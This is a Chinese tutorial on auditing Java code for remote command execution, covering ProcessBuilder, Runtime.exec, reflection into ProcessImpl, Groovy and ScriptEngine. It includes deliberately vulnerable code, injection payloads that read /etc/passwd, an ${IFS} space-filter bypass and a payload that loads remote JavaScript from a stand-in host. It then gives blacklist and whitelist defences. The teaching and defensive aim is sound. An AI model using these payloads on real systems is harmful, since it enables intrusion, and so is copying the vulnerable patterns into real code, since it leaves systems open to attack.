【Java代码审计】RCE篇

【Java代码审计】RCE篇

  • 1.Java中的RCE
  • 2.ProcessBuilder命令执行漏洞
  • 3.Runtime exec命令执行漏洞
  • 4.脚本引擎代码注入
  • 5.RCE的防御

1.Java中的RCE

在PHP开发语言中有system()、exec()、shell_exec()、eval()、passthru()等函数可以执行系统命令。在Java开发语言中可以执行系统命令的函数有:

1、Runtime.getRuntime.execProcessBuilder.start,其中,Runtime.getRuntime.exec是在Java1.5之前提供的,Java1.5之后则提供了ProcessBuilder类来构建进程

2、更多的执行命令的方法,还有ProcessImplProcessImpl 是更为底层的实现,Runtime和ProcessBuilder执行命令实际上也是调用了ProcessImpl这个类

ProcessImpl 类是一个抽象类不能直接调用,但可以通过反射来间接调用ProcessImpl来达到执行命令的目的

public static String vul(String cmd) throws Exception {// 首先,使用 Class.forName 方法来获取 ProcessImpl 类的类对象Class clazz = Class.forName("java.lang.ProcessImpl");// 然后,使用 clazz.getDeclaredMethod 方法来获取 ProcessImpl 类的 start 方法Method method = clazz.getDeclaredMethod("start", String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class);// 使用 method.setAccessible 方法将 start 方法设为可访问method.setAccessible(true);// 最后,使用 method.invoke 方法来调用 start 方法,并传入参数 cmd,执行命令Process process = (Process) method.invoke(null, new String[]{cmd}, null, null, null, false);
}

3、通过脚本引擎代码注入

通过加载远程js文件来执行代码,如果加载了恶意js则会造成任意命令执行

4、Groovy执行命令

不安全的使用Groovy调用命令

例如:

@GetMapping("/groovy")
public void groovy(String cmd) {GroovyShell shell = new GroovyShell();shell.evaluate(cmd);
}

2.ProcessBuilder命令执行漏洞

1、ProcessBuilder命令执行方法

Java.lang.ProcessBuilder类用于创建操作系统进程,每个ProcessBuilder实例管理一个进程属性集。start()方法利用这些属性创建一个新的Process实例,可以利用ProcessBuilder执行命令

// 构造一个命令
ProcessBuilder processBuilder = new ProcessBuilder("whoami");
// 启动进程
Process process = processBuilder.start();
// 读取进程的输出
BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
String line;
while ((line = reader.readLine()) != null) {System.out.println(line);
}

2、ProcessBuilder命令执行漏洞利用

Java命令执行漏洞的前提是执行命令的参数可控,参数没有经过相关过滤

下面我们通过典型的Java代码讲解命令执行漏洞,示例程序包首先获取filepath参数传入的数据,然后利用ProcessBuilder进行dir命令的执行,最后将相关结果返回:

public static String processbuilderVul(String filepath) throws IOException {String[] cmdList = {"cmd.exe", "/c", "dir " + filepath};ProcessBuilder pb = new ProcessBuilder(cmdList);pb.redirectErrorStream(true);Process process = pb.start();// 获取命令的输出InputStream inputStream = process.getInputStream();BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream));String line;StringBuilder output = new StringBuilder();while ((line = reader.readLine()) != null) {output.append(line).append("\n");}return output.toString();
}

输入..,获取到了上层的目录信息:

http://127.0.0.1:8888/RCE/ProcessBuilder/vul?filepath=..

在这里插入图片描述

因为通过获取filepath参数传入的数据没有经过过滤就传入ProcessBuilder进行执行,故攻击者通过命令连接符就有可能拼接执行额外的命令。例如在Windows系统中使用命令连接符“&”进行多条命令拼接以便执行echo 123456命令,输入“filepath=..%26echo 123456(这里注意&要进行url编码)

RCE成功:

在这里插入图片描述


3.Runtime exec命令执行漏洞

1、java.lang.Runtime公共类中的exec()方法同样也可以执行系统命令,exec()方法的使用方式有以下6种:

在这里插入图片描述

2、Runtime exec命令执行漏洞利用(参数可控)

当利用exec()进行命令执行时,如果参数没有经过过滤就可能通过命令拼接符进行命令拼接执行多条命令

在这里插入图片描述

通过ip参数传入command数组变量中,然后执行ping命令,当输入“ip=127.0.0.1”时,返回“ping 127.0.0.1”后的数据信息

在这里插入图片描述

因为ip参数没有经过过滤就直接拼接到了command变量中,这样就造成了命令执行漏洞,输入“ip=127.0.0.1;id”,这样就可以执行ping 127.0.0.1和id两条命令

在这里插入图片描述

3、Runtime exec命令执行漏洞利用(命令本身可控)

典型示例代码如下:

在这里插入图片描述

输入“cmd=ls”,返回了执行ls命令后的数据信息

在这里插入图片描述

当输入“cmd=ls;cat/etc/passwd”后,返回“java.io.IOException”这个错误信息。这是因为Java通过“Runtime.getRuntime().exec”执行命令并不是启动一个新的shell,所以就会有报错信息,需要重新启动一个shell才能正常执行此命令

启动一个新的shell执行多个命令,输入“cmd=sh -c ls;id”,发现命令执行成功,返回了ls和id命令的信息:

在这里插入图片描述

我们进一步尝试,输入“cmd=sh -c ls;cat /etc/passwd”,发现浏览器一直在请求的状态,无法正常执行此命令

在这里插入图片描述

命令不能正常执行的原因是,如果exec方法执行的参数是字符串参数,参数中的空格会经过StringTokenizer处理,处理完成后会改变原有的语义导致命令无法正常执行。要想执行此命令要绕过StringTokenizer才可以,只要找到可以代替空格的字符即可,如${IFS}、$IFS$9

输入“cmd=sh -c ls;cat${IFS}/etc/passwd”后会有以下报错:

在这里插入图片描述

也就是说,我们的请求中包含无效的字符,需要对{}进行url编码,输入“cmd=sh%20-c%20ls;cat$%7BIFS%7D/etc/passwd”,发现可以正常执行ls和cat/etc/passwd两个命令:

在这里插入图片描述


4.脚本引擎代码注入

漏洞代码:

public void jsEngine(String url) throws Exception {ScriptEngine engine = new ScriptEngineManager().getEngineByName("JavaScript");Bindings bindings = engine.getBindings(ScriptContext.ENGINE_SCOPE);String payload = String.format("load('%s')", url);// 在Java 8之后移除了ScriptEngineManager的evalengine.eval(payload, bindings);
}

利用时,加载一个远程的恶意js脚本,例如,构造如下payload:

http://127.0.0.1:8888/RCE/ScriptEngine/vul?url=http://xxx.com/java/1.js

1.js内容如下:

var a = mainOutput(); function mainOutput() { var x=java.lang.Runtime.getRuntime().exec("open -a Calculator");}

5.RCE的防御

RCE的防御基本的有两种方案,一种是基于黑名单的过滤方法(自定义黑名单,这里过滤了常见的管道符,可自行添加):

public static boolean checkOs(String content) {String[] black_list = {"|", ",", "&", "&&", ";", "||"};for (String s : black_list) {if (content.contains(s)) {return true;}}return false;
}

此时,再输入恶意的payload:

http://127.0.0.1:8888/RCE/ProcessBuilder/safe?filepath=..%26whoami

请求已经被成功拦截:

在这里插入图片描述

一种是基于白名单的方式,这种方式更加有效,且更加难以绕过:(使用白名单替换黑名单。黑名单需要不断更新,而白名单只需要指定允许执行的命令,更容易维护)

public static String safe(String cmd) {// 定义命令白名单Set<String> commands = new HashSet<\>();commands.add("ls");commands.add("pwd");// 检查用户提供的命令是否在白名单中String command = cmd.split("\\s+")[0];if (!commands.contains(command)) {return "命令不在白名单中";}...
}

此时,用户只能执行ls和pwd命令,其余命令都会被拦截

防御RCE的漏洞,还有一个能够根除的有效方法,那就是在编码时,开发人员应将现有API用于其语言。例如:不要使用Runtime.exec()发出“mail”命令,而要使用位于javax.mail的可用Java API

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/237682.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

C#使用HTTP方式对接WebService

C#使用HTTP方式对接WebService C#对接WebService的几种方式 1.直接引用服务 添加服务 添加成功后, 会显示服务详细 调用服务 使用HTTPPost调用WebService option.RequestDataStr GetHttpRequestXml(strXmlBody); // 创建一个 HttpClient 对象 using (HttpClient client …

《深入浅出SSD》:固态存储核心技术、原理与实战

目录 前言 内容简介 作者简介 名人推荐 本书目录 了解更多 结语 作者简介&#xff1a; 懒大王敲代码&#xff0c;计算机专业应届生 今天给大家聊聊《深入浅出SSD》这本书&#xff0c;希望大家能觉得实用&#xff01; 欢迎大家点赞 &#x1f44d; 收藏 ⭐ 加关注哦&…

助力智能车辆检测计数,基于官方YOLOv8全系列[n/s/m/l/x]开发构建道路交通场景下不同参数量级车流检测计数系统

在很多道路交通卡口都有对车流量的统计计算需要&#xff0c;有时候一些特殊时段、特殊节日等时间下对于车流的监测预警更为重要&#xff0c;恶劣特殊天气下的提早监测、预警、限流对于保证乘客、驾驶员的安全是非常重要的措施&#xff0c;本文的主要目的就是想要开发构建道路交…

2 Pandas之Series

Pandas数据结构简介 Pandas可以处理以下三种数据&#xff1a; SeriesDataFramePanel 这些数据建立在NumPy上&#xff0c;故可以快速运行。 纬度描述 更好的理解这些数据结构的方式是将高维数据看作是低维数据的容器。例如&#xff0c;DataFrame是Series的容器&#xff0c;P…

最新ChatGPT网站系统源码+AI绘画系统+支持GPT语音对话+详细图文搭建教程/支持GPT4.0/H5端系统/文档知识库

一、前言 SparkAi创作系统是基于ChatGPT进行开发的Ai智能问答系统和Midjourney绘画系统&#xff0c;支持OpenAI-GPT全模型国内AI全模型。本期针对源码系统整体测试下来非常完美&#xff0c;可以说SparkAi是目前国内一款的ChatGPT对接OpenAI软件系统。那么如何搭建部署AI创作Ch…

python编程(1)之通用引脚GPIO使用

在之前的章节中&#xff0c;小编带领大家学习了&#xff1a;如何构建esp32的python开发环境-CSDN博客 今天小编带领大家开始学习python编程的第一节&#xff0c;通用引脚。esp32c3核心板是一个高度集成&#xff0c;功能丰富的模块&#xff0c;来看下他的功能分布&#xff1a; 我…

GraphPad Prism 10 for Mac v10.0.0.3 安装教程

GraphPad Prism GraphPad Prism是一款非常专业强大的科研医学生物数据处理绘图软件&#xff0c;它可以将科学图形、综合曲线拟合&#xff08;非线性回归&#xff09;、可理解的统计数据、数据组织结合在一起&#xff0c;除了最基本的数据统计分析外&#xff0c;还能自动生成统…

统信UOS|DNS server|04-添加主域名解析

原文链接&#xff1a;统信UOS&#xff5c;DNS server&#xff5c;04-添加主域名解析 hello&#xff0c;大家好啊&#xff01;继我们在之前的文章中成功部署了测试用的HTTP服务器、搭建了DNS解析服务器&#xff0c;并添加了子域名解析之后&#xff0c;今天我们将继续我们的DNS域…

VSCode安装PYQT5

安装PYQT5 pip install PyQt5 -i https://pypi.tuna.tsinghua.edu.cn/simple pip install PyQt5-tools -i https://pypi.tuna.tsinghua.edu.cn/simple 获得Python环境位置 查看函数库安装位置 pip show 函数库名 通过查询函数库&#xff0c;了解到python安装位置为 C:\User…

力扣题:子序列-12.29

力扣题-12.29 [力扣刷题攻略] Re&#xff1a;从零开始的力扣刷题生活 力扣题1&#xff1a;522. 最长特殊序列 II 解题思想&#xff1a;首先将字符串列表按长度进行降序&#xff0c;然后对每个字符串进行判断是否是独有的子序列&#xff0c;因为短的字串可能是长的字串的子序…

解决vue2项目 el-dialog弹窗不显示

初始写法 使用了v-model 弹窗不显示 <el-dialog v-model"dialogVisible" title"Popup Content" :width"dialogWidth" close"handleCloseDialog"><p>{{ selectedItemContent }}</p></el-dialog> 将v-model改…

2023.12.19 关于 Redis 通用全局命令

目录 引言 Redis 全局命令 SET & GET KEYS EXISTS DEL EXPIRE TTL TYPE redis 引入定时器高效处理过期 key 基于优先级队列方式 基于时间轮方式 引言 Redis 是根据键值对的方式存储数据的必须要进入 redis-cli 客户端程序 才能输入 redis 命令 Redis 全局命令 R…

【藏经阁一起读】(80)__《2023龙蜥社区白皮书》

【藏经阁一起读】&#xff08;80&#xff09;__《2023龙蜥社区白皮书》 2023龙蜥社区白皮书 作者&#xff1a; 小龙 发布时间&#xff1a;2023-11-15 章节数&#xff1a;79 内容简介&#xff1a; 从解决CentOS停服的问题出发为广大用户的业务连续性提供了坚定的保障&#xf…

C# 使用MSTest进行单元测试

目录 写在前面 代码实现 执行结果 写在前面 MSTest是微软官方提供的.NET平台下的单元测试框架&#xff1b;可使用DataRow属性来指定数据&#xff0c;驱动测试用例所用到的值&#xff0c;连续对每个数据化进行运行测试&#xff0c;也可以使用DynamicData 属性来指定数据&…

用友U8+CRM help2 任意文件读取漏洞复现

0x01 产品简介 用友U8 CRM客户关系管理系统是一款专业的企业级CRM软件&#xff0c;旨在帮助企业高效管理客户关系、提升销售业绩和提供优质的客户服务。 0x02 漏洞概述 用友 U8 CRM客户关系管理系统 help2接口处存在任意文件读取漏洞&#xff0c;攻击者通过漏洞可以获取到服…

RK3568平台 并发与竞争控制机制总结

一.并发与竞争机制总结 二.原子操作 “原子”是化学世界中不可再分的最小微粒&#xff0c;一切物质都由原子组成。在Linux 内核中的原子操作可以理解为“不可被拆分的操作”&#xff0c;就是不能被更高等级中断抢夺优先的操作。在C语言中可以使用以下代码对一个整形变量赋值。…

C#文件操作(二)

一、前言 文章的续作前文是&#xff1a; C#文件操作&#xff08;一&#xff09;-CSDN博客https://blog.csdn.net/qq_71897293/article/details/135117922?spm1001.2014.3001.5501 二、流 流是序列化设备的抽象表示序列化设备可以线性方式储存数据并可按照同样的方式访问一次…

IgH调试注意事项

1&#xff0c;不要在虚拟机测试&#xff0c;否则IgH无法收发数据包 现象&#xff1a;虚拟机中运行IgH master并绑定网卡后&#xff0c;主站由ORPHANED状态转换成IDLE状态&#xff0c;但无法收发数据报。 这是因为虚拟机用的是虚拟网卡&#xff0c;需通过iptables将数据包到转…

【前端基础】script引入资源脚本加载失败解决方案(重新加载获取备用资源)

问题描述 现在假设有一个script资源加载失败&#xff0c;代码如下 <!DOCTYPE html> <html> <head><title>script 资源加载失败</title> </head> <body><script src"http:hdh.sdas.asdas/1.js"></script> &l…

openGuass:极简版安装

目录 一、openGauss简介 二、初始化安装环境 1.创建安装用户 2.修改文件句柄设置 ​3.修改SEM内核参数 4.关闭防火墙 6.禁用SELINUX 7.安装依赖软件 8.重启服务器 三、安装数据库 1.下载安装包 2.创建安装目录 3.解压安装包 4.执行安装 5.验证安装 四、gsql工具…